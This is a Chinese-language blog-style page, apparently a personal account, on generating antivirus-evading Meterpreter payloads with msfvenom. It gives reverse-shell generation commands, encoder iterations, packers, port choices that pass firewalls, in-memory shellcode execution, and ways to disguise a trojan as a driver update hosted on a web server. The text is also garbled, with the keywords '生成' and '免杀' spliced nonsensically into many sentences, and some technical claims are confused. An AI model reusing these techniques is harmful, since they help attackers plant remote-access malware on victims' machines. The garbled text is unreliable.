当前位置:首页 > 休闲

msfconsole生成免杀

msfconsole生成免杀

用msfvenom生成一个payload,生成丢到目标机器上,免杀直接被杀软拦下来,生成报毒名“Trojan:Win32/Meterpreter”。免杀这事我干过不止一次。生成免杀不是免杀玄学,是生成跟杀软玩躲猫猫——你得知道它盯着你哪儿看。

最蠢的免杀办法是直接生成原始payload,比如windows/meterpreter/reverse_tcp,生成默认的免杀payload特征码早就被拉黑了。杀软查的生成不是“这是个恶意程序”,而是免杀“这串字节跟已知恶意样本长得像”。所以第一步是生成换编码器,-e x86/shikata_ga_nai,免杀迭代个十几次,生成让shellcode变形,老版本杀软基本就瞎了。但别高兴太早,现在云查杀和机器学习引擎不吃这套,你编码完的样本它照样能通过行为特征认出来。

我试过一次比较野的路子——用msfvenom -p windows/meterpreter/reverse_https配合--platform windows -a x86,然后手动加一个--smallest参数,把生成的exe压缩到几KB。小体积样本有时候能绕过那些“只看大文件”的扫描策略,但成功率不稳定,纯粹碰运气。

真正管用的免杀得靠“生活化伪装”。把payload塞进一个正常的安装包流程里,比如用msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe生成后,再用upx压缩壳包一层,或者拿Veil框架生成一个伪装成PDF阅读器的文件。杀软看它行为像正常软件,就不拦了。但要注意,UPX壳现在也被识别了,得换themida或者vmprotect这种商业壳,代价是体积涨到几MB,传输麻烦。

还有个细节——别用默认的监听端口4444,太显眼。我习惯改成8443或者8080,配合HTTPS流量,因为很多企业防火墙只放行443端口。你生成payload的时候记得写LPORT=8443,同时msfconsole里监听也改成对应端口。流量加密后,杀软光看特征码是认不出来的,只能靠行为检测——这时候就得拼“谁更懂目标机器的环境”了。

有一次我为了过某国产杀软,直接用msfvenom -p windows/x64/meterpreter/bind_tcp -f c生成C语言格式的shellcode,然后写个小程序在内存里用VirtualAlloc分配可执行内存,再把shellcode拷进去执行。这叫“反射注入”,杀软扫不到硬盘文件,只能看内存行为。但前提是你得绕过DEP和ASLR,不然直接崩。我当时折腾到凌晨三点,最后发现是栈对齐问题——C语言里加个__declspec(align(16))就好了。

免杀这东西,没有一劳永逸的答案。今天能过的样本,明天杀软更新一下特征库就废了。所以我习惯备着三四个不同思路的payload,轮着用。最稳的反而是最土的——把payload混在正常软件安装包里,用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe -o /var/www/html/update.exe生成,然后手动改一下图标和版本信息,让它在资源管理器里看起来像某某驱动更新。人眼这关过了,机器那关反而好糊弄。

说句实话,真正牛逼的免杀都是自己写加载器,msfconsole只是提供payload原料。你要是懒得折腾,就用msfvenom --list encoders看看有哪些编码器,挑个冷门的试。冷门意味着杀软没来得及拉黑,但冷门也意味着稳定性差,有时候编码完的payload在目标机器上跑不起来,得反复测。我吃过这亏——有一次编码迭代了20次,本地测试没问题,一上目标机就报错,最后发现是编码器生成了不兼容的指令集。所以,别贪多,迭代5到8次够用了。

免杀的尽头是心理学。你猜杀软工程师怎么想,他就怎么拦你。你比他更懂系统底层,你就赢了。

分享到: